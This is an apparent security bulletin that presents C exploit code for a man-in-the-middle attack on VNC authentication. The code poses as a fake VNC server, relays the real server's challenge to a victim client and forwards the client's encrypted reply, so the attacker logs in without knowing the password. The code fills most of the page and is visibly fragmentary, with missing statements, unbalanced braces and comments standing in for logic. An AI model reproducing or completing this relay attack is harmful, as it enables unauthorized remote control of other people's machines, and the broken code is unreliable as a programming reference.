| VNC Man in the Middle Exploit Code |
|
By using the below exploit code it is possible to use a VNC server without
knowing its password by causing a client to authenticate through the attacking host, while the attacker redirects it to the server. DETAILS Exploit: #define VNCPORT 5900 typedef char rfbProtocolVersionMsg[13]; int main (int argc, char **argv) { int sockfd, clientfd, vncfd; if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) { bzero (&server, sizeof (server) ); /* this is the fake VNC server */ listen (sockfd, QUEUE); if ( (clientfd = accept (sockfd, strcpy (buf, "RFB 003.003\n"); /* we must send VNC version number (from protocol) */ /* we also must read VNC version number (from protocol) */ buf [nbytes] = 0; buf [0] = 0x00; /* we send the authentication method code to the client */ if ( (vncfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) { bzero (&vnc, sizeof (vnc) ); /* we connect to the real VNC server */ /* again, we read version number from the VNC server */ strcpy (buf, "RFB 003.003\n"); /* and we send ours */ /* we now read authenticarion method code from VNC server */ /* here is the challenge from server */ /* we send the challenge to the victim client */ /* we have the encrypted password from the client */ /* we send the encrypted password to the VNC server */ /* we read the result from the authentication process */ /* at this point we should be authenticated */ close (clientfd); return 0; } DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. |